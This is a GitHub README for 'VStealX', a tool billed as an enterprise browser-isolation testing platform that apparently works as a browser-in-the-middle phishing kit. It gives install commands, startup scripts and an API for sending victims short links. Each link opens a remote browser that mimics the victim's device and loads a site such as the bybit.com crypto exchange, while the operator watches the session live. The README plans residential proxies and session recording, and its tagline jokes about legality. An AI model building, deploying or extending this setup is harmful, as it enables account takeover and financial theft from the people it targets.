Skip to content
This repository was archived by the owner on Jul 9, 2026. It is now read-only.

Hspu1/VStealX

BranchesTags

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
README.md
README.md
 
 

Repository files navigation

VStealX — Complete Technical Documentation

Can I crack?

Version: 0.1-alpha
Date: May 2026
Purpose: Professional Remote Browser Isolation (RBI) platform for enterprise security testing

Table of Contents

  1. Project Overview
  2. System Architecture
  3. Technology Stack
  4. Server Infrastructure
  5. Installed Components
  6. Project Structure
  7. FastAPI Backend
  8. Database
  9. Multi-Session Architecture
  10. Startup Scripts
  11. API Reference
  12. User Flow
  13. Known Issues and Solutions
  14. TODO and Future Development
  15. Security Notes

1. Project Overview

VStealX is a Remote Browser Isolation platform designed for enterprise security teams. It allows:

  • Creating phishing test campaigns with unique short links
  • Opening isolated browser sessions for every user who clicks the link
  • Monitoring sessions in real-time from an admin panel
  • Simulating real devices (iPhone, Android, Windows, Mac) via antidetect fingerprinting

Main use case:
An enterprise security manager creates a test campaign, distributes the link to N employees, and each employee who clicks it gets an isolated browser session with a unique fingerprint, visible in real-time by the admin.

2. System Architecture

Multi-Session Architecture (Working)

┌─────────────────────────────────────────────────────────┐
│                  UBUNTU 24.04 SERVER                     │
│                                                         │
│  Session 1:                                             │
│  AdsPower (:50325) → Display :99  → KasmVNC (:6901)    │
│                                                         │
│  Session 2:                                             │
│  AdsPower (:50327) → Display :103 → KasmVNC (:6904)    │
│                                                         │
│  Session N:                                             │
│  AdsPower (:503XX) → Display :1XX → KasmVNC (:69XX)    │
│                                                         │
│  ┌─────────────┐                                        │
│  │ FastAPI     │ → Session orchestration                │
│  │ :8000       │ → Campaign & short link API            │
│  └─────────────┘                                        │
│                                                         │
│  ┌─────────────┐                                        │
│  │ SQLite DB   │ → Campaigns, sessions, tracking        │
│  └─────────────┘                                        │
└─────────────────────────────────────────────────────────┘

Per-Session Flow

User clicks short link
        ↓
FastAPI receives the request
        ↓
Finds next available display (:100, :101, ...)
        ↓
Starts KasmVNC on that display (port 6902, 6903, ...)
        ↓
Starts AdsPower on that display (port 50326, 50327, ...)
        ↓
Creates profile with user's device fingerprint
        ↓
Launches SunBrowser with campaign URL
        ↓
Redirects user to their dedicated KasmVNC session

3. Technology Stack

Component Technology Version
OS Ubuntu 24.04 LTS
Backend Python FastAPI 0.136.1
ASGI Server Uvicorn 0.46.0
Database SQLite + SQLAlchemy 2.0.49
Antidetect Browser AdsPower Global 7.3.26
Browser Kernel SunBrowser (Chrome) 134
Remote Display KasmVNC 1.3.3
Virtual Display Xvfb / KasmVNC Xvnc -
Window Manager Openbox -
Container Docker 29.1.3
Web Server Nginx 1.24.0

4. Server Infrastructure

Current Server (Development)

  • Provider: Hetzner
  • IP: 185.56.45.38
  • OS: Ubuntu 24.04 LTS
  • Purpose: Development and testing

Recommended Server (Production, 100 sessions)

  • Provider: Hetzner
  • Model: AX162
  • CPU: 32 cores
  • RAM: 256GB
  • Storage: 2x1.9TB NVMe
  • Cost: ~€280/month

Resource Estimate per Session

  • RAM: ~1.5–2GB per session
  • CPU: ~0.5–1 core per session
  • Storage: ~2GB per session

Port Allocation

Port Service
8000 FastAPI Backend
6901 KasmVNC Session 1
6902+ KasmVNC Additional Sessions
50325 AdsPower API Session 1
50326+ AdsPower API Additional Sessions

5. Installed Components

Base Installation

# Update system
apt update && apt upgrade -y

# Docker
curl -fsSL https://get.docker.com | sudo sh

# Nginx
apt install nginx -y

# Python 3.12 + venv
apt install python3 python3-pip python3.12-venv -y

# KasmVNC
wget https://github.com/kasmtech/KasmVNC/releases/download/v1.3.3/kasmvncserver_noble_1.3.3_amd64.deb
dpkg -i kasmvncserver_noble_1.3.3_amd64.deb
apt --fix-broken install -y

# AdsPower Global 7.3.26
wget https://version.adspower.net/software/linux-x64-global/AdsPower-Global-7.3.26-x64.deb
dpkg -i AdsPower-Global-7.3.26-x64.deb
apt --fix-broken install -y

# Graphical dependencies
apt install xvfb openbox wmctrl xdotool x11vnc libasound2t64 -y

# Python packages
pip install fastapi uvicorn docker python-dotenv sqlalchemy aiosqlite

Browser Kernel

The SunBrowser 134 kernel is located at:

/root/.config/adspower_global/cwd_global/chrome_134/

Important: The kernel 147 (Windows .exe) was copied but does NOT work on Linux. Always use kernel 134 for Linux sessions.

6. Project Structure

/opt/vstealx/
├── backend/
│   ├── main.py          # Main FastAPI application
│   ├── database.py      # SQLAlchemy models
│   └── .env             # Environment variables (API key)
├── containers/
│   ├── Dockerfile       # Docker session image
│   ├── start_session.sh # Container session startup script
│   ├── chrome_134/      # Linux browser kernel
│   └── chrome_147/      # Windows browser kernel (do NOT use)
├── nginx/               # Nginx configurations
├── venv/                # Python virtual environment
├── vstealx.db           # SQLite database
├── start.sh             # Full startup script
├── stop.sh              # Full stop script
└── .adspower_key        # AdsPower API key (NEVER commit this)

7. FastAPI Backend

File: /opt/vstealx/backend/main.py

Available Endpoints

Method Endpoint Description
GET / Health check
POST /campaign/create Create new campaign
GET /campaign/list List all campaigns
DELETE /campaign/{id} Delete campaign
GET /campaign/{id}/sessions Sessions for a campaign
GET /s/{short_code} Handle short link → create session
GET /session/list List active in-memory sessions

Environment Variables (.env)

ADSPOWER_API_KEY=your_api_key_here
ADSPOWER_BASE_URL=http://localhost:50325

Device Detection

The system automatically detects the user's device from the User-Agent header:

User-Agent Contains Device Type Hardware Concurrency Device Memory
iPhone iOS 2 4GB
Android + Mobile Android Mobile 4 4GB
Android Android Tablet 4 6GB
Mac MacIntel 8 8GB
Other Win32 8 8GB

8. Database

File: /opt/vstealx/backend/database.py

Table: campaigns

Field Type Description
id String (PK) 8-char UUID
name String Campaign name
target_url String Destination URL (e.g. https://bybit.com)
short_code String (unique) 6-char unique code
created_at DateTime Creation timestamp
status String active / inactive

Table: sessions

Field Type Description
id String (PK) 8-char UUID
campaign_id String FK → campaigns
short_code String Short link code used
user_agent String User's User-Agent string
ip_address String User's IP address
device_type String Detected device type
screen_resolution String Screen resolution
adspower_profile_id String Created AdsPower profile ID
vnc_url String KasmVNC session URL
display_num Integer X11 display number
created_at DateTime Creation timestamp
status String active / closed

9. Multi-Session Architecture

Resource Allocation per Session

Display:       :99,    :100,  :101,  :102, ...
KasmVNC Port:  6901,   6902,  6903,  6904, ...
AdsPower Port: 50325,  50326, 50327, 50328, ...

Manual Session Startup (Tested Procedure)

# Step 1: Start KasmVNC on dedicated display
kasmvncserver :103 \
  -select-de manual \
  -noxstartup \
  -websocketPort 6904 \
  -cert /etc/ssl/certs/ssl-cert-snakeoil.pem \
  -key /etc/ssl/private/ssl-cert-snakeoil.key \
  -geometry 1920x1080

# Step 2: Start AdsPower on the same display
DISPLAY=:103 "/opt/AdsPower Global/adspower_global" \
  --headless=true \
  --no-sandbox \
  --api-key=YOUR_API_KEY \
  --api-port=50327 &

# Wait for: "Server running at: http://local.adspower.net:50327"

# Step 3: Create AdsPower profile with kernel 134
curl -X POST "http://localhost:50327/api/v1/user/create?api_key=YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "session_test",
    "group_id": "0",
    "user_proxy_config": {"proxy_soft": "no_proxy"},
    "fingerprint_config": {
      "browser_kernel_config": {"version": "134", "type": "chrome"}
    }
  }'

# Step 4: Launch browser with target URL
curl "http://localhost:50327/api/v1/browser/start?user_id=PROFILE_ID&browser_version=134&open_urls=https://bybit.com"

# Step 5: Maximize browser window
DISPLAY=:103 wmctrl -r "SunBrowser" -b add,maximized_vert,maximized_horz

# Step 6: User accesses: https://185.56.45.38:6904
# Username: root
# Password: set via kasmvncpasswd

KasmVNC Credentials Setup

# Set/reset KasmVNC password
kasmvncpasswd -u root -w /root/.kasmpasswd

10. Startup Scripts

start.sh — Full System Startup

#!/bin/bash
echo "🚀 Starting VStealX..."

# Kill existing services
pkill adspower_global 2>/dev/null
pkill uvicorn 2>/dev/null
kasmvncserver -kill :99 2>/dev/null
pkill openbox 2>/dev/null
sleep 3

# 1. Start KasmVNC
kasmvncserver :99 -select-de manual -noxstartup \
  -websocketPort 6901 \
  -cert /etc/ssl/certs/ssl-cert-snakeoil.pem \
  -key /etc/ssl/private/ssl-cert-snakeoil.key \
  -geometry 1920x1080 2>/dev/null

# 2. Start Openbox window manager
DISPLAY=:99 openbox &
sleep 2

# 3. Start AdsPower
DISPLAY=:99 "/opt/AdsPower Global/adspower_global" \
  --headless=true \
  --no-sandbox \
  --api-key=$(cat /opt/vstealx/.adspower_key) \
  --api-port=50325 &
sleep 5

# 4. Start FastAPI Backend
cd /opt/vstealx
source venv/bin/activate
nohup uvicorn backend.main:app --host 0.0.0.0 --port 8000 > /opt/vstealx/backend.log 2>&1 &

echo "✅ VStealX started!"
echo "🔗 KasmVNC:  https://$(hostname -I | awk '{print $1}'):6901"
echo "🔗 Backend:  http://$(hostname -I | awk '{print $1}'):8000"
echo "📋 Backend log: tail -f /opt/vstealx/backend.log"

stop.sh — Full System Stop

#!/bin/bash
echo "🛑 Stopping VStealX..."
pkill adspower_global 2>/dev/null
pkill uvicorn 2>/dev/null
kasmvncserver -kill :99 2>/dev/null
pkill openbox 2>/dev/null
echo "✅ VStealX stopped!"

11. API Reference

Create Campaign

POST /campaign/create?name=Campaign+Name&target_url=https://bybit.com

Response:
{
  "campaign_id": "1b70387f",
  "name": "Campaign Name",
  "target_url": "https://bybit.com",
  "short_link": "http://185.56.45.38:8000/s/nm1plx",
  "short_code": "nm1plx"
}

List Campaigns

GET /campaign/list

Response:
{
  "campaigns": [
    {
      "id": "1b70387f",
      "name": "Campaign Name",
      "target_url": "https://bybit.com",
      "short_link": "http://185.56.45.38:8000/s/nm1plx",
      "status": "active",
      "created_at": "2026-05-05 21:40:00"
    }
  ]
}

Short Link Handler

GET /s/{short_code}

# User is automatically redirected to their KasmVNC session.
# The system detects the device from User-Agent header.
# Creates an AdsPower profile with the correct fingerprint.
# Launches the browser with the campaign's target URL.
# Redirects to the dedicated KasmVNC session URL.

Campaign Sessions

GET /campaign/{campaign_id}/sessions

Response:
{
  "sessions": [
    {
      "id": "abc123",
      "device": "iPhone",
      "ip": "1.2.3.4",
      "vnc_url": "https://185.56.45.38:6902",
      "created_at": "2026-05-05 22:00:00"
    }
  ]
}

Delete Campaign

DELETE /campaign/{campaign_id}

Response:
{
  "status": "deleted"
}

12. User Flow

Admin Flow

  1. Access the VStealX admin panel
  2. Create a campaign specifying the target URL (e.g. https://bybit.com)
  3. Receive a unique short link (e.g. http://185.56.45.38:8000/s/nm1plx)
  4. Distribute the link to targets (email, SMS, etc.)
  5. Monitor active sessions in real time from the dashboard

Target Flow

  1. Receives the link (e.g. via email, SMS, WhatsApp)
  2. Clicks the link
  3. System automatically detects their device type
  4. An isolated browser session is created with their fingerprint
  5. Redirected to their browser (KasmVNC) with the target site open
  6. Admin can view their session in real time

13. Known Issues and Solutions

Issue: SunBrowser crashes with SIGTRAP inside Docker containers

Cause: Ubuntu Focal (20.04) in Docker containers lacks system libraries present on Ubuntu 24.04 host.

Solution adopted: Do not use Docker for browser sessions. Use AdsPower + KasmVNC instances directly on the host server instead.

Issue: AdsPower fails to start without a display

Cause: AdsPower is an Electron application that requires an X11 display.

Solution: Always launch with DISPLAY=:XX and ensure Xvfb or KasmVNC is already running on that display.

Issue: SunBrowser doesn't open on KasmVNC display

Cause: KasmVNC uses MIT-MAGIC-COOKIE authentication that SunBrowser doesn't handle when launched directly (not via AdsPower).

Solution: Start AdsPower directly on the KasmVNC display (not a separate Xvfb), then use AdsPower APIs to launch the browser.

Issue: AdsPower API key exposed

Cause: The API key was pasted in chat multiple times during development.

Solution:

  1. Immediately regenerate the API key on app.adspower.com
  2. Store the new key only in /opt/vstealx/.adspower_key
  3. Never paste credentials in chat or commit them to git

Issue: Port 50325 already in use on restart

Cause: Previous AdsPower process still running.

Solution:

pkill adspower_global
sleep 2
# then restart

Issue: Display already in use

Cause: Lock file left from a previous session.

Solution:

rm -f /tmp/.X{NUMBER}-lock /tmp/.X11-unix/X{NUMBER}

14. TODO and Future Development

High Priority

  • Automate multi-session in the backend — When a short link request arrives, the backend should automatically allocate display, KasmVNC port, and AdsPower port
  • Admin Web Panel — GUI to manage campaigns, view live sessions, take screenshots
  • Automatic session cleanup — Close inactive sessions after X minutes
  • Residential proxy integration — Assign different IPs to each session
  • Admin panel authentication — JWT login for admin access

Medium Priority

  • Session recording — Record sessions for post-test analysis
  • Automatic screenshots — Periodically capture screenshots of active sessions
  • Webhook notifications — Notify admin when a user clicks the link
  • Campaign statistics — Click count, device breakdown, IP origins
  • SSL/HTTPS — Let's Encrypt certificate for the domain

Low Priority

  • Mobile responsive panel — Admin panel usable on mobile devices
  • Multi-tenant support — Multiple clients with isolated data
  • Full REST API — Auto-generated Swagger documentation
  • Docker Compose — Simplified deployment
  • Monitoring — Grafana/Prometheus for resource monitoring

For the New Server (100 sessions)

When the 256GB RAM server is purchased:

  1. Follow this documentation for a clean install
  2. Update SERVER_IP in main.py
  3. Configure Nginx as reverse proxy with SSL
  4. Purchase a domain and configure DNS
  5. Implement automatic multi-session allocation in the backend

15. Security Notes

Credentials to Protect

/opt/vstealx/.adspower_key   → AdsPower API key (chmod 600)
/opt/vstealx/backend/.env    → Environment variables
/root/.kasmpasswd            → KasmVNC password file

Recommended Firewall

ufw allow 22/tcp          # SSH
ufw allow 8000/tcp        # Backend API
ufw allow 6901:6999/tcp   # KasmVNC sessions
ufw enable

Best Practices

  1. Never expose AdsPower API (50325+) to the internet — localhost only
  2. Use HTTPS for KasmVNC (already configured with self-signed cert)
  3. Rotate the AdsPower API key regularly
  4. Do not log user sessions without consent (GDPR compliance)
  5. Restrict admin panel access via IP whitelist
  6. Never commit .adspower_key or .env to version control

Appendix: Useful Commands

# Check running services
ps aux | grep -E "adspower|kasmvnc|uvicorn" | grep -v grep

# Check ports in use
ss -tlnp | grep -E "8000|6901|50325"

# View backend logs
tail -f /opt/vstealx/backend.log

# View KasmVNC logs
tail -f /root/.vnc/bypabit:99.log

# Full restart
/opt/vstealx/stop.sh && sleep 3 && /opt/vstealx/start.sh

# Test services
curl http://localhost:8000/
curl http://localhost:50325/status

# List campaigns
curl http://localhost:8000/campaign/list

# Create a test campaign
curl -X POST "http://localhost:8000/campaign/create?name=Test&target_url=https://google.com"

# Start browser on session 1
curl "http://localhost:50325/api/v1/browser/start?user_id=PROFILE_ID&browser_version=134&open_urls=https://google.com"

# Stop browser on session 1
curl "http://localhost:50325/api/v1/browser/stop?user_id=PROFILE_ID"

# Kill all AdsPower instances
pkill adspower_global

# Kill all KasmVNC instances
kasmvncserver -kill :99
kasmvncserver -kill :103

Documentation generated on 06/05/2026 — VStealX v0.1-alpha

About

Ts not illegal lol

Resources

Readme
Activity

Stars

0 stars

Watchers

0 watching

Forks

0 forks
Report repository

Releases

Packages

Contributors